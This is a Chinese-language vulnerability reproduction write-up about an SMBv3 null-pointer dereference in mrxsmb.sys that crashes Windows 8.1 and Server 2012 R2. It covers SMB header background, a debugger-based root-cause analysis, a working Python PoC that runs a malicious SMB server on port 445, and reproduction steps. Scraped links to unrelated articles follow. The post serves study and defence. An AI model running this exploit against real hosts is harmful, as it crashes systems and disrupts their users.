SMBv3空指针引用dos漏洞复现
0x01 前言
去年年底,当设置一个模拟器来定位SMB协议时,发现了一个如此简单而又非常有效的攻击大型企业的漏洞。TL; DR:一个拒绝服务错误允许BSOD协议向Windows 8.1和Windows Server 2012 R2计算机发送单个数据包。
0x02 测试环境
受影响的系统:
·Windows 8.1(x86)
·Windows Server 2012 R2(x64)
0x03 背景知识
要了解此漏洞的根本原因,需要了解SMB数据包的结构方式。
让我们来看一下SMBv1协议头文件:


正如我们所看到的协议字段以FF字节开始,现在让我们来看看SMBv2

协议字段现在以FE字节开始,那么SMBv3呢?SMB协议的v3版本已经过加密,并将使用SMB2_Transform的特定头部进行加密通信:

SMBv3 始终是加密的,正如可以在官方文档中了解到SMBv3会话的协商从SMBv2会话开始。以下是设置SMBv3会话时涉及到的数据包:

在1到8字节的数据包中,SMB数据头看起来像这样:

我们可以看到,使用的字节序列仍然是0xFE,它是Microsoft官方文档中指示的SMBv2的代码。
从第9字节开始,加密处于连通状态,并且报头中使用的字节序列将为0xFD

正如您在PoC中看到的那样,当第一次会话时立即发送带有0xFD报头的SMB数据包时会发生内核崩溃。现在,让我们深入了解崩溃转储机制,以了解此次崩溃的根本原因。
0x04 根本原因分析
仅在Windows 8.1(x86)上执行来分析根本原因,发送特定数据包会导致内核崩溃,因为它要从内存中读取地址为0x00000030处受保护(空页面保护)的值。

发生崩溃的模块是“ mrxsmb.sys ”,它是Microsoft服务器消息块(SMB)的重定器。崩溃的确切位置是mrxsmb!SmbWksReceiveEvent + 8539,其中从[ecx + 30h]发生偏移到EAX,ECX的值指向0x00000000。
当我们通过IDA分析流程时,它看起来如下所示:
处理数据包并检查是否启用了加密,这与使用加密SMB数据包的SMB
3.0相关

在WinDBG中,它看起来像这样:

从本质上讲,它将检查加密是否被启用,如果在这种情况下,它将遵循“错误”路径并转移到下一个函数:

它将执行一些比较指令,并且第二个最后的指令是检查是否用十六进制值0x34注册ECX。如果ECX低于或等于0x34,在这种情况下发发生错误:

遵循“错误”路径:发生另一条指令,在这种情况下,如果寄存器EDX(攻击者可控制值)高于[ESP + 4C]的值,它将遵循“真实”路径

各种寄存器中的值:

下一条指令再次将ECX的值与0x34进行比较,如果ECX高于0x34,它将遵循“真实”路径

在这种情况下,它将遵循真实路径,因为ECX的值高于0x34。以下指令块将_Microsoft_Windows_SMBClientEnableBits的值0x80000000之间的值进行测试。
在WinDBG中,我们可以看到测试会导致“错误”,随后将遵循“错误”路径。

引导我们接受一个始终为“true”的测试指令

转而使用loc A0F20E05”功能, 将零置于堆栈之后,在这种情况下,它将运行“ loc A0F20E15”:在将ECX + 30h移至EAX的指令处,会发生崩溃,因为ECX为0x00000000,它将尝试读取受保护内存空间0x00000030的值。

这会导致内核崩溃,并强制机器重新启动。
0x05 利用poc
import SocketServer
from binascii import unhexlify
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
def handle(self):
try:
print "From:", self.client_address
print "[*]Sending Payload..."
self.request.send(unhexlify(payload))
except Exception:
print "BSoD Triggered on", self.client_address
pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()
0x06 漏洞复现
1.在kali执行脚本

2.然后在windows2012 r2上访问共享地址:\\10.0.0.217,会立即看到操作系统蓝屏!

SMBv3空指针引用dos漏洞复现的更多相关文章
- SMBv3远程代码执行漏洞复现(CVE-2020-0796)
漏洞基本信息 服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上.它还提供了经过身份验证的进程间通信机制.SMB的大多数用法涉及运行Microsof ...
- Linux Kernel空指针引用本地拒绝服务漏洞(CVE-2013-5634)
漏洞版本: Linux kernel 漏洞描述: BUGTRAQ ID: 61995 CVE(CAN) ID: CVE-2013-5634 Linux Kernel是Linux操作系统的内核. 适用于 ...
- Linux Kernel 空指针逆向引用拒绝服务漏洞
漏洞名称: Linux Kernel 空指针逆向引用拒绝服务漏洞 CNNVD编号: CNNVD-201306-449 发布时间: 2013-07-01 更新时间: 2013-07-01 危害等级: ...
- Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现
0x00 漏洞描述 漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码.攻击者利用该漏洞无须权限即可实现远 ...
- [漏洞复现]CVE-2010-2883 Adobe Reader 打开pdf电脑即刻中招
1.漏洞概述: CVE-2010-2883漏洞原理:“Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当打开特制的恶意PDF文件时,可允许任意代码远程执行.” 影 ...
- PHP多个版本爆出远程DOS漏洞
近日,php多个版本爆出远程DoS漏洞(官方编号69364),利用该漏洞构造poc发起链接,很容易导致目标主机cpu的100%占用率,绿盟科技威胁响应中心随即启动应急机制, 启动应急响应工作,总结PH ...
- IIS短文件名漏洞复现
IIS短文件名漏洞复现 一.漏洞描述 此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的.它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问). ...
- Linux本地内核提权漏洞复现(CVE-2019-13272)
Linux本地内核提权漏洞复现(CVE-2019-13272) 一.漏洞描述 当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_c ...
- CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 参考文章1 参考文章2 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞. ...
随机推荐
- Struts 2(三):示例→基于Struts 2的用户注册模块
示例→基于Struts2的用户注册模块 1.用户注册模块需求描述 在用户注册页面中填写用户信息,包括用户名.用户密码.确认密码.姓名等信息,填写完成后提交注册表单给Struts 2的业务控制器Acti ...
- TW实习日记:第八天
今天早上主要是接着做昨天的微信端网页预览附件,听同事说当打包代码放入服务器上后,就不存在跨域问题了,也就懒得自己写接口了,那么就希望自己能一次过吧...结果写着写着,发现开发文档中关于预览文件的方法, ...
- 日本IT行业劳动力缺口达22万 在日中国留学生迎来就业好时机 2017/07/18 11:25:09
作者:倪亚敏 来源:日本新华侨报 发布时间:2017/07/18 11:25:09 据日本政府提供的数据,日本2018年应届毕业生的“求人倍率”已经达到了1.78倍.换言之,就是100名大学生 ...
- KETTLE并行
1.转换的并行 转换的并行是改变复制的数量 上面的转换相当于下面的: 实际是把一个任务拆成三部分执行,相当于在一个数据库连接中做了三次查询,数据库连接的开销没有增加,但是有三个进程一起执行. 2.jo ...
- excel导出功能原型
本篇博客是记录自己实现的excel导出功能原型,下面我将简单介绍本原型: 这是我自制的窗体,有一个ListView和一个Button(导出)控件. 这是我在网上找到了使用exel需要引用的库. usi ...
- springboot+vue+element:echarts开发遇见问题---vue前端(二)
<template> <u-grid> <u-grid-item caption="服务使用统计排行"> <div class=" ...
- lintcode-408-二进制求和
408-二进制求和 给定两个二进制字符串,返回他们的和(用二进制表示). 样例 a = 11 b = 1 返回 100 标签 二进制 字符串处理 脸书 思路 先相加,在处理进位,为了方便操作,将选字符 ...
- C#高级编程 (第六版) 学习 第一章:.Net体系结构
第一章 .Net体系结构 1,公共语言运行库(Common Language Runtime, CLR) .Net Framework的核心是其运行库的执行环境,称为公共语言运行库,或.Net运行库. ...
- 实现Spring管理struts的Action
struts2和spring的整合,关键点在于struts2中的action要纳入spring容器的管理中成为一个bean. 可以在struts2中配置: <struts> ...
- 软工实践团队展示——WorldElite
软工实践团队展示--WorldElite 本次作业链接 团队成员 031602636许舒玲(组长) 031602237吴杰婷 031602634吴志鸿 081600107傅滨 031602220雷博浩 ...